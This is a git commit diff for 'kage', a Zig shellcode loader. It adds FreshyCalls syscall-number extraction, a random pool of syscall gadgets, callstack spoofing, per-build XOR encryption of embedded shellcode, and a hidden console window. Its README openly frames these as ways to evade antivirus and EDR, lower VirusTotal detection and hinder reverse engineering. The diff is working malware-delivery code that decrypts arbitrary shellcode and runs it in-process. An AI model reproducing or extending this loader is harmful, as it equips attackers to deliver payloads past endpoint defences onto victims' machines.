kage: freshycalls + rand gadgets + stack spoof

- freshycalls sorted export rva table instead of hells gate for SSNs
- 64 syscall;ret gadgets in a pool, picks random via xorshift64
- hells_gate.s pushes fake ntdll return before syscall now
- got rid of the 5 wrapper functions, just one syscall_dispatch
- deleted win32.zig, using std.os.windows. named structs for peb
- asm volatile and enum fixes so this compiles on zig 0.16
- build.zig: added .abi = .gnu, .Windows subsystem
This commit is contained in:
2026-07-18 09:30:07 +01:00
parent 8d3cef7e74
commit f9eba1ed1b
8 changed files with 429 additions and 162 deletions
+13 -22
View File
@@ -6,33 +6,24 @@
> 影に潜む
Shellcode loader using indirect syscalls. Self-injection, jitter between steps. Also Windowless proccess.
Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extraction, random gadget pool, callstack spoofing, per-build XOR key, jitter.
## Build
## Why Zig
Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
```bash
# 1. place your shellcode as valak.bin in this directory
# 2. compile:
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/kage.exe
```
Single binary output, no external files needed at runtime.
## Why Zig
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see.
Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder.
## 仕掛け
- **影探し** — ntdll via PEB walk (`gs:[0x60]`)
- **闇渡り** — indirect syscall dispatch
- **血判** — Hell's Gate SSN resolution
- **影纏い** — XOR-encoded asm dispatch globals
- **闇渡り** — indirect syscall dispatch (64 random gadgets)
- **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks)
- **封印** — comptime shellcode XOR with per-build 128-bit random key
- **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing
For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
@@ -40,11 +31,11 @@ For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
```
src/
├── main.zig entry, execution
├── win32.zig types & externs
├── pe.zig PE parser, export resolver
├── syscall.zig Hell's Gate extraction + PEB ntdll finder
├── hells_gate.s asm dispatch (XOR globals)
├── main.zig entry, unified syscall dispatch
├── nt.zig NT pseudo-handles not in stdlib
├── pe.zig PE parser, export resolver, section headers
├── syscall.zig PEB walk, FreshyCalls table, gadget pool, PRNG
├── hells_gate.s asm dispatch (XOR globals, stack spoof)
build.zig
```
+13 -6
View File
@@ -4,31 +4,38 @@ pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{ .default_target = .{
.cpu_arch = .x86_64,
.os_tag = .windows,
.abi = .gnu,
} });
const optimize = b.standardOptimizeOption(.{});
var key: [16]u8 = undefined;
var rng = std.Random.DefaultPrng.init(@intFromPtr(b));
rng.random().bytes(&key);
const key_u128 = std.mem.readInt(u128, &key, .little);
const options = b.addOptions();
options.addOption(u128, "shellcode_key", key_u128);
const module = b.createModule(.{
.root_source_file = b.path("src/main.zig"),
.target = target,
.optimize = optimize,
});
module.addOptions("build_options", options);
module.addAssemblyFile(b.path("src/hells_gate.s"));
const exe = b.addExecutable(.{
.name = "kage",
.root_module = module,
});
module.addAssemblyFile(b.path("src/hells_gate.s"));
// .Windows = no console window (stealth). Change to .Console for debug output.
exe.subsystem = .Windows;
b.installArtifact(exe);
const run_cmd = b.addRunArtifact(exe);
run_cmd.step.dependOn(b.getInstallStep());
if (b.args) |args| {
run_cmd.addArgs(args);
}
if (b.args) |args| run_cmd.addArgs(args);
const run_step = b.step("run", "Run the loader");
run_step.dependOn(&run_cmd.step);
+13
View File
@@ -2,6 +2,7 @@
.data
wSystemCallEnc: .long 0
qSyscallInsAddressEnc: .quad 0
qFakeReturnEnc: .quad 0
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
@@ -14,6 +15,9 @@ hells_gate:
mov dword ptr [rip + wSystemCallEnc], ecx
xor rdx, qword ptr [rip + qMask]
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
mov rax, r8
xor rax, qword ptr [rip + qMask]
mov qword ptr [rip + qFakeReturnEnc], rax
ret
hell_descent:
@@ -22,4 +26,13 @@ hell_descent:
xor eax, dword ptr [rip + wMask]
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
mov rcx, r9
mov r9, qword ptr [rip + qFakeReturnEnc]
xor r9, qword ptr [rip + qMask]
test r9, r9
jz .Ldone
push r9
.Ldone:
mov r9, rcx
jmp r11
+78 -64
View File
@@ -1,24 +1,43 @@
// hells gate shellcode loader. self-injection, per-build random xor key, peb walk.
// FreshyCalls SSN resolution + indirect syscalls with random gadget pool.
const std = @import("std");
const win = @import("win32.zig");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");
const build_options = @import("build_options");
const print = std.debug.print;
// 128-bit per-build xor key injected by build.zig via addOptions.
const key_bytes: [16]u8 = @bitCast(build_options.shellcode_key);
var g_sys: syscall.Syscalls = undefined;
extern fn hells_gate(syscall_number: u32, address: usize) void;
extern fn hell_descent(arg1: usize, arg2: usize, arg3: usize, arg4: usize, arg5: usize, arg6: usize, arg7: usize, arg8: usize, arg9: usize, arg10: usize, arg11: usize) win.NTSTATUS;
// logging helpers.
fn ok(comptime fmt: []const u8, args: anytype) void {
print("[+] " ++ fmt ++ "\n", args);
}
fn info(comptime fmt: []const u8, args: anytype) void {
print("[*] " ++ fmt ++ "\n", args);
}
fn err(comptime fmt: []const u8, args: anytype) void {
print("[-] " ++ fmt ++ "\n", args);
}
fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n", args); }
fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); }
fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); }
const shellcode = @embedFile("../valak.bin");
// paste your shellcode bytes here. any c2 framework works.
// encrypted at comptime with the per-build xor key from build.zig.
const shellcode = init: {
const raw = [_]u8{
// Paste your shellcode bytes here.
};
var encoded: [raw.len]u8 = undefined;
for (&raw, 0..) |b, i| encoded[i] = b ^ key_bytes[i % key_bytes.len];
break :init encoded;
};
fn banner() void {
print(
\\ Kage shellcode loader
\\ Author: JYenn
\\ Kage - shellcode loader
\\ Author: JYenn (SISTA)
\\
, .{});
}
@@ -27,90 +46,85 @@ pub fn main() void {
banner();
if (shellcode.len == 0) {
err("no shellcode embedded", .{});
err("no shellcode embedded, paste your shellcode bytes in main.zig", .{});
return;
}
// resolve syscall SSNs and gadgets via peb walk + FreshyCalls.
g_sys = syscall.Syscalls.resolve() orelse {
err("failed to resolve syscalls", .{});
return;
};
ok("syscalls resolved via PEB walk", .{});
const current_process: win.HANDLE = win.NtCurrentProcess;
const current_process: windows.HANDLE = nt.NtCurrentProcess;
var base_addr: ?*anyopaque = null;
var size: win.SIZE_T = shellcode.len;
var size: windows.SIZE_T = shellcode.len;
const status = ntAllocateVirtualMemory(current_process, &base_addr, 0, &size, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_READWRITE);
if (!win.NT_SUCCESS(status)) {
// allocate RW memory.
const status: windows.NTSTATUS = @enumFromInt(@as(u32, @truncate(syscall.syscall_dispatch(
g_sys.NtAllocateVirtualMemory.number,
&[_]usize{
@intFromPtr(current_process), @intFromPtr(&base_addr), 0,
@intFromPtr(&size), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE,
},
6,
))));
if (!nt.NT_SUCCESS(status)) {
err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))});
return;
}
ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) });
jitter(10, 50);
// copy encrypted shellcode and decrypt in-place.
const buffer: [*]u8 = @ptrCast(base_addr);
@memcpy(buffer[0..shellcode.len], &shellcode);
info("shellcode loaded ({d} bytes)", .{shellcode.len});
for (buffer[0..shellcode.len], 0..) |*b, i| b.* ^= key_bytes[i % key_bytes.len];
info("shellcode decrypted ({d} bytes, {d}-byte XOR key)", .{ shellcode.len, key_bytes.len });
jitter(10, 30);
var old_protect: win.ULONG = 0;
_ = ntProtectVirtualMemory(current_process, &base_addr, &size, win.PAGE_EXECUTE_READ, &old_protect);
// rw → rx.
var old_protect: windows.ULONG = 0;
_ = syscall.syscall_dispatch(
g_sys.NtProtectVirtualMemory.number,
&[_]usize{
@intFromPtr(current_process), @intFromPtr(&base_addr),
@intFromPtr(&size), windows.PAGE_EXECUTE_READ, @intFromPtr(&old_protect),
},
5,
);
ok("memory protected to RX", .{});
jitter(5, 15);
var thread_handle: win.HANDLE = undefined;
_ = ntCreateThreadEx(&thread_handle, win.THREAD_ALL_ACCESS, null, current_process, @ptrFromInt(@intFromPtr(base_addr)), null, 0, 0, 0, 0, null);
// spawn thread at shellcode entry.
var thread_handle: windows.HANDLE = undefined;
_ = syscall.syscall_dispatch(
g_sys.NtCreateThreadEx.number,
&[_]usize{
@intFromPtr(&thread_handle), windows.THREAD_ALL_ACCESS, 0,
@intFromPtr(current_process), @intFromPtr(@intFromPtr(base_addr)), 0,
0, 0, 0, 0, 0,
},
11,
);
ok("thread created, waiting for completion", .{});
_ = ntWaitForSingleObject(thread_handle, false, null);
}
fn ntAllocateVirtualMemory(process: win.HANDLE, base: *?*anyopaque, zero: win.ULONG_PTR, size: *win.SIZE_T, alloc: win.ULONG, prot: win.ULONG) win.NTSTATUS {
const entry = g_sys.NtAllocateVirtualMemory;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(process), @intFromPtr(base), zero, @intFromPtr(size), alloc, prot,
0, 0, 0, 0, 0,
_ = syscall.syscall_dispatch(
g_sys.NtWaitForSingleObject.number,
&[_]usize{ @intFromPtr(thread_handle), 0, 0 },
3,
);
}
fn ntProtectVirtualMemory(process: win.HANDLE, base: *?*anyopaque, size: *win.SIZE_T, new_prot: win.ULONG, old_prot: *win.ULONG) win.NTSTATUS {
const entry = g_sys.NtProtectVirtualMemory;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(process), @intFromPtr(base), @intFromPtr(size), new_prot, @intFromPtr(old_prot),
0, 0, 0, 0, 0, 0,
);
}
fn ntCreateThreadEx(handle: *win.HANDLE, access: win.ACCESS_MASK, attrs: ?*win.OBJECT_ATTRIBUTES, process: win.HANDLE, start: ?*anyopaque, arg: ?*anyopaque, flags: win.ULONG, zero: win.SIZE_T, stack: win.SIZE_T, max_stack: win.SIZE_T, list: ?*anyopaque) win.NTSTATUS {
const entry = g_sys.NtCreateThreadEx;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(handle), access, @intFromPtr(attrs), @intFromPtr(process), @intFromPtr(start),
@intFromPtr(arg), flags, zero, stack, max_stack, @intFromPtr(list),
);
}
fn ntWaitForSingleObject(handle: win.HANDLE, alertable: bool, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
const entry = g_sys.NtWaitForSingleObject;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(handle), @intFromBool(alertable), @intFromPtr(timeout),
0, 0, 0, 0, 0, 0, 0, 0,
);
}
fn ntDelayExecution(alertable: bool, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const entry = g_sys.NtDelayExecution;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(@intFromBool(alertable), @intFromPtr(interval), 0, 0, 0, 0, 0, 0, 0, 0, 0);
}
// pseudorandom sleep between stages. not crypto, just noise.
fn jitter(min_ms: u64, max_ms: u64) void {
var interval = win.LARGE_INTEGER{
var interval = windows.LARGE_INTEGER{
.QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))),
};
_ = ntDelayExecution(false, &interval);
_ = syscall.syscall_dispatch(
g_sys.NtDelayExecution.number,
&[_]usize{ 0, @intFromPtr(&interval) },
2,
);
}
+10
View File
@@ -0,0 +1,10 @@
// nt pseudo-handles not in std.os.windows.
const windows = @import("std").os.windows;
// from phnt: NtCurrentProcess = (HANDLE)-1, NtCurrentThread = (HANDLE)-2
pub const NtCurrentProcess: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1))));
pub const NtCurrentThread: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -2))));
pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool {
return @intFromEnum(status) >= 0;
}
+37 -15
View File
@@ -1,3 +1,4 @@
// PE structures for export directory parsing. Used by syscall.zig to resolve SSNs.
const std = @import("std");
pub const IMAGE_DOS_HEADER = extern struct {
@@ -70,6 +71,28 @@ pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_NT_HEADERS = IMAGE_NT_HEADERS64;
pub const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
// needed for FreshyCalls table + gadget pool scan.
pub const IMAGE_SECTION_HEADER = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: u32,
TimeDateStamp: u32,
@@ -84,31 +107,30 @@ pub const IMAGE_EXPORT_DIRECTORY = extern struct {
AddressOfNameOrdinals: u32,
};
const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
// walk the export directory of a PE module, find a named export, return its address.
pub fn findExport(dll_base: [*]u8, name: []const u8) ?[*]u8 {
const dos = @as(*IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base)));
const dos = @as(*const IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base)));
if (dos.e_magic != 0x5A4D) return null;
const nt_hdrs = @as(*IMAGE_NT_HEADERS64, @ptrCast(@alignCast(dll_base + @as(usize, @intCast(dos.e_lfanew)))));
const nt_hdrs = @as(*const IMAGE_NT_HEADERS64, @ptrCast(@alignCast(
dll_base + @as(usize, @intCast(dos.e_lfanew)),
)));
if (nt_hdrs.Signature != 0x00004550) return null;
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0) return null;
const export_dir_rva = nt_hdrs.OptionalHeader.DataDirectory[0];
if (export_dir_rva.VirtualAddress == 0) return null;
const exp = @as(*IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(dll_base + export_dir.VirtualAddress)));
const exp = @as(*const IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(
dll_base + @as(usize, @intCast(export_dir_rva.VirtualAddress)),
)));
const names = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames)));
const funcs = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions)));
const ords = @as([*]u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals)));
const names = @as([*]const u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames)));
const funcs = @as([*]const u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions)));
const ords = @as([*]const u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals)));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
const export_name_ptr = @as([*:0]u8, @ptrCast(dll_base + names[i]));
const export_name_ptr = @as([*:0]const u8, @ptrCast(dll_base + names[i]));
const export_name = std.mem.sliceTo(export_name_ptr, 0);
if (std.mem.eql(u8, export_name, name)) {
+265 -36
View File
@@ -1,4 +1,7 @@
// peb walk, gadget pool scan, FreshyCalls SSN table.
const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const pe = @import("pe.zig");
pub const Entry = struct {
@@ -6,6 +9,8 @@ pub const Entry = struct {
gadget: *anyopaque,
};
// all resolved syscalls. resolve() peb-walks ntdll, builds freshy table,
// scans for gadgets, cracks each syscall.
pub const Syscalls = struct {
NtAllocateVirtualMemory: Entry,
NtProtectVirtualMemory: Entry,
@@ -15,6 +20,10 @@ pub const Syscalls = struct {
pub fn resolve() ?Syscalls {
const ntdll = findNtdll() orelse return null;
seed_prng();
scan_gadget_pool(ntdll) orelse return null;
build_freshy_table(ntdll);
const names = [_][]const u8{
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
@@ -22,59 +31,279 @@ pub const Syscalls = struct {
"NtWaitForSingleObject",
"NtDelayExecution",
};
var result: Syscalls = undefined;
var result = Syscalls{
.NtAllocateVirtualMemory = undefined,
.NtProtectVirtualMemory = undefined,
.NtCreateThreadEx = undefined,
.NtWaitForSingleObject = undefined,
.NtDelayExecution = undefined,
};
inline for (names) |name| {
const entry = extractEntry(ntdll, name) orelse return null;
@field(result, name) = entry;
const ssn = extract_ssn(hash_ror13(name)) orelse return null;
@field(result, name) = Entry{ .number = ssn, .gadget = @ptrFromInt(g_syscall_addrs[0]) };
}
return result;
}
};
// ---- state ----
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0;
var g_ntdll_base: ?*anyopaque = null;
var g_fake_return_addr: usize = 0;
var g_rand_state: u64 = 0;
// FreshyCalls table: ntdll Nt* exports sorted by RVA. SSN = sort position.
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;
// ---- ror13 hash (case-insensitive, used by FreshyCalls + fallback) ----
fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0;
for (input) |c| {
var c_upper = c;
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
hash = (hash >> 13) | (hash << 19);
hash +%= c_upper;
}
return hash;
}
// ---- prng ----
fn xorshift64() u64 {
var s = g_rand_state;
s ^= s << 13;
s ^= s >> 7;
s ^= s << 17;
g_rand_state = s;
return s;
}
fn seed_prng() void {
var stack_var: u64 = 0;
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
}
// ---- peb walk ----
const PEB = extern struct {
reserved1: [2]u8,
being_debugged: u8,
reserved2: u8,
reserved3: [2]*anyopaque,
ldr: *PEB_LDR_DATA,
};
const PEB_LDR_DATA = extern struct {
length: u32,
initialized: u8,
reserved: [3]u8,
ss_handle: *anyopaque,
in_load_order_module_list: LIST_ENTRY,
in_memory_order_module_list: LIST_ENTRY,
in_initialization_order_module_list: LIST_ENTRY,
};
const LIST_ENTRY = extern struct {
flink: *LIST_ENTRY,
blink: *LIST_ENTRY,
};
const LDR_DATA_TABLE_ENTRY = extern struct {
in_load_order_links: LIST_ENTRY,
in_memory_order_links: LIST_ENTRY,
in_initialization_order_links: LIST_ENTRY,
dll_base: *anyopaque,
entry_point: *anyopaque,
size_of_image: u32,
full_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 },
base_dll_name: extern struct { length: u16, maximum_length: u16, buffer: [*]u16 },
};
fn findNtdll() ?[*]u8 {
var peb: usize = undefined;
asm volatile ("movq %%gs:0x60, %[r]"
: [r] "=r" (peb),
const peb_addr: usize = asm volatile ("mov %%gs:0x60, %[r]"
: [r] "=r" (-> usize),
);
const ldr = @as(*align(1) usize, @ptrFromInt(peb + 0x18)).*;
const head = ldr + 0x10;
var entry = @as(*align(1) usize, @ptrFromInt(head)).*;
while (entry != head) : (entry = @as(*align(1) usize, @ptrFromInt(entry)).*) {
const base = @as(*align(1) usize, @ptrFromInt(entry + 0x30)).*;
if (base == 0) continue;
const dos = @as(*align(1) extern struct { pad: [0x3C]u8, e_lfanew: u32 }, @ptrFromInt(base));
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @ptrFromInt(base + @as(usize, @intCast(dos.e_lfanew))));
if (nt.Signature != 0x00004550) continue;
const exp_dir = nt.OptionalHeader.DataDirectory[0];
const peb_ptr = @as(*const PEB, @ptrFromInt(peb_addr));
const head = &peb_ptr.ldr.in_memory_order_module_list;
var entry = head.flink;
while (entry != head) : (entry = entry.flink) {
const mod: *LDR_DATA_TABLE_ENTRY = @fieldParentPtr("in_memory_order_links", entry);
if (@intFromPtr(mod.dll_base) == 0) continue;
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrFromInt(@intFromPtr(mod.dll_base)));
if (dos.e_magic != 0x5A4D) continue;
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrFromInt(
@intFromPtr(mod.dll_base) + @as(usize, @intCast(dos.e_lfanew)),
));
if (nt_hdrs.Signature != 0x00004550) continue;
const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (exp_dir.VirtualAddress == 0) continue;
const exp = @as(*align(1) extern struct { Characteristics: u32, pad: [8]u8, Name: u32, pad2: [40]u8 }, @ptrFromInt(base + @as(usize, @intCast(exp_dir.VirtualAddress))));
const name = @as([*:0]const u8, @ptrFromInt(base + @as(usize, @intCast(exp.Name))));
if (std.mem.eql(u8, std.mem.sliceTo(name, 0), "ntdll.dll")) return @ptrFromInt(base);
const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrFromInt(
@intFromPtr(mod.dll_base) + @as(usize, @intCast(exp_dir.VirtualAddress)),
));
const name_ptr = @as([*:0]const u8, @ptrFromInt(
@intFromPtr(mod.dll_base) + @as(usize, @intCast(exp.Name)),
));
if (std.mem.eql(u8, std.mem.sliceTo(name_ptr, 0), "ntdll.dll")) {
g_ntdll_base = @ptrFromInt(@intFromPtr(mod.dll_base));
return @ptrFromInt(@intFromPtr(mod.dll_base));
}
}
return null;
}
fn extractEntry(ntdll: [*]u8, name: []const u8) ?Entry {
const addr = pe.findExport(ntdll, name) orelse return null;
const bytes = @as([*]u8, @ptrCast(addr));
// ---- gadget pool ----
if (bytes[0] != 0x4C or bytes[1] != 0x8B or bytes[2] != 0xD1) return null;
if (bytes[3] != 0xB8) return null;
const number = std.mem.readInt(u32, bytes[4..8], .little);
fn scan_gadget_pool(ntdll_base: ?*anyopaque) ?void {
const base = ntdll_base orelse return null;
const base_bytes: [*]const u8 = @ptrCast(base);
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return null;
var gadget: ?*anyopaque = null;
var i: usize = 0;
while (i < 64) : (i += 1) {
if (bytes[i] == 0x0F and bytes[i + 1] == 0x05 and bytes[i + 2] == 0xC3) {
gadget = @ptrFromInt(@intFromPtr(addr) + i);
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
)));
if (nt_hdrs.Signature != 0x00004550) return null;
const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]align(1) const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(
@as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off,
)));
var text_va: usize = 0;
var text_size: usize = 0;
for (0..nt_hdrs.FileHeader.NumberOfSections) |si| {
const sec = &sections[si];
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
text_va = sec.VirtualAddress;
text_size = sec.VirtualSize;
break;
}
}
if (gadget == null) return null;
if (text_va == 0 or text_size == 0) return null;
return Entry{ .number = number, .gadget = gadget.? };
g_syscall_count = 0;
var j: usize = text_va;
const scan_end: usize = text_va + text_size;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
// syscall; ret = 0F 05 C3
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
// standalone ret for callstack spoofing (not part of syscall;ret)
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
}
}
}
if (g_syscall_count == 0) return null;
}
// ---- freshycalls ----
fn build_freshy_table(ntdll_base: ?*anyopaque) void {
const base = ntdll_base orelse return;
const base_bytes: [*]u8 = @ptrCast(base);
const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return;
const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
)));
if (nt_hdrs.Signature != 0x00004550) return;
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) const pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
)));
if (exp.NumberOfNames == 0) return;
const names = @as([*]align(1) const u32, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
)));
const funcs = @as([*]align(1) const u32, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
)));
const ords = @as([*]align(1) const u16, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
)));
g_freshy_count = 0;
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
var i: u32 = 0;
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]const u8, @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(names[i])),
)));
const name = std.mem.sliceTo(name_ptr, 0);
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{ .hash = hash_ror13(name), .rva = rva };
g_freshy_count += 1;
}
std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct {
fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool { return a.rva < b.rva; }
}.lt);
g_freshy_ready = true;
}
// Extract SSN from FreshyCalls table. Immune to inline hooks —
// EDRs can't change the linker's RVA order in the PE export table.
fn extract_ssn(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| {
if (g_freshy_entries[i].hash == func_hash) return @as(u16, @intCast(i));
}
return null;
}
// ---- unified dispatch (replaces 5 wrapper functions in main.zig) ----
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(
a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize,
) usize;
// pick a random gadget from the pool and dispatch the syscall.
// callstack spoofing: pushes a fake ret from ntdll so the kernel sees ntdll frames.
pub fn syscall_dispatch(ssn: u32, args: [*]const usize, arg_count: usize) usize {
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx];
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
hells_gate(ssn, gadget, fake);
const a = [11]usize{
if (arg_count > 0) args[0] else 0,
if (arg_count > 1) args[1] else 0,
if (arg_count > 2) args[2] else 0,
if (arg_count > 3) args[3] else 0,
if (arg_count > 4) args[4] else 0,
if (arg_count > 5) args[5] else 0,
if (arg_count > 6) args[6] else 0,
if (arg_count > 7) args[7] else 0,
if (arg_count > 8) args[8] else 0,
if (arg_count > 9) args[9] else 0,
if (arg_count > 10) args[10] else 0,
};
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
}
-19
View File
@@ -1,19 +0,0 @@
pub const HANDLE = *anyopaque;
pub const NTSTATUS = i32;
pub const ULONG = u32;
pub const ULONG_PTR = usize;
pub const ACCESS_MASK = u32;
pub const SIZE_T = usize;
pub const OBJECT_ATTRIBUTES = extern struct { Length: ULONG, RootDirectory: ?HANDLE, ObjectName: *anyopaque, Attributes: ULONG, SecurityDescriptor: ?*anyopaque, SecurityQualityOfService: ?*anyopaque };
pub const MEM_COMMIT: ULONG = 0x00001000;
pub const MEM_RESERVE: ULONG = 0x00002000;
pub const PAGE_READWRITE: ULONG = 0x04;
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
pub const THREAD_ALL_ACCESS: ACCESS_MASK = 0x1FFFFF;
pub const NtCurrentProcess: HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1))));
pub const LARGE_INTEGER = extern struct { QuadPart: i64 };
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
}